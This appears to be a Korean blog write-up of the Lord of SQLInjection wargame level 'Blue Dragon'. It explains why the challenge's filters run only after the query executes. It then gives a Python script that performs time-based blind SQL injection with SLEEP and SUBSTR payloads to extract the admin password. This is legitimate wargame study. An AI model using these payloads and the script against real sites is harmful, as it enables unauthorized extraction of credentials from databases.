워게임/Lord of SQLInjection
[Lord of SQLInjection] Blue Dragon Write UP
작성자 - LRTK
공격 백터 : id, pw
입력 값에 대한 검증
- id :
prob, _, .
필터링,', \
필터링
if(preg_match('/prob|_|\./i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
- pw :
prob, _, .
필터링,', \
필터링, addslashes()
if(preg_match('/prob|_|\./i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
$_GET[pw] = addslashes($_GET[pw]);
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_blue_dragon where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("blue_dragon");
이번 문제는 admin의 pw 값이랑 공격 백터의 pw 값이 일치하면 문제가 클리어되는 문제이다.
나는 첫번째 쿼리문을 select id from prob_blue_dragon where id='\' and pw=' or id=~~~#'
으로 만들어줘서 테이블에 저장된 id 값을 살펴보려고 했지만, \
이 필터링 되어 있어서 이는 불가능 하였다. 또한 '
도 필터링되어서 다른 SQLi 쿼리문은 생각이 나지 않는다.
$query = "select id from prob_blue_dragon where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(preg_match('/\'|\\\/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/\'|\\\/i', $_GET[pw])) exit("No Hack ~_~");
하지만 코드를 보니 결과 출력 후 필터링되고 있었다. 즉, 내가 입력한 ', \
으로 이루어진 SQLi은 실행되고 나서 필터링이 된다는 것이다. 이러한 점을 이용하여 Time Based SQLi를 시도한다면 충분히 admin의 pw를 추출할 수 있을 것 같았다.
위와 같이 IF문과 SLEEP 함수를 이용하여 Time Based SQLi를 시도하니 아주 잘 먹혔다.
이를 이용하여 admin의 pw 길이를 구해보겠다.
import requests, time
class SQLI:
def __init__(self, url:str, cookie:str):
self.url = url
self.cookies = {'PHPSESSID' : cookie}
def timeBased(self, query:str):
start = time.time()
response = requests.get(self.url + query, cookies=self.cookies)
return response.text, time.time()-start
if __name__ == '__main__':
url = 'https://los.rubiya.kr/chall/blue_dragon_23f2e3c81dca66e496c7de2d63b82984.php?'
cookie = 'dc81vfp5u86od3forb2h30t8be'
sqli = SQLI(url, cookie)
for num in range(1, 100):
_, timeResult = sqli.timeBased(f"id=admin' and IF(LENGTH(pw)={num},SLEEP(5),0)%23")
if timeResult >= 5:
print('Admin pw length >>>', num)
break
SQLi 코드를 만들 때 복사 붙여넣기를 하니깐 불편하여 차라리 모듈화 시켜서 사용하려고 이번엔 Class로 만들어봤다.
위 코드의 결과 값은 8이 나왔다.
이제 SUBSTR 함수를 이용하여 8글자를 하나하나 찾아보겠다.
result = ''
for num in range(1, 8+1):
for s in string.ascii_lowercase + string.digits + string.punctuation:
_, timeResult = sqli.timeBased(f"id=admin' and IF(SUBSTR(pw,{num},1)={hex(ord(s))},SLEEP(5),0)%23")
if timeResult >= 5:
print(f'Admin pw {num} >>>', s)
result += s
break
print(result)
아무 이상 없이 pw를 구할 수 있었다.
서버에 전달하니 문제를 클리어할 수 있었다.
'워게임 > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Phantom Write UP (0) | 2021.08.26 |
---|---|
[Lord of SQLInjection] Frankenstein Write UP (0) | 2021.08.25 |
[Lord of SQLInjection] Red Dragon Write UP (0) | 2021.08.18 |
[Lord of SQLInjection] Green Dragon Write UP (0) | 2021.08.14 |
[Lord of SQLInjection] Evil Wizard Write UP (0) | 2021.08.10 |
Contents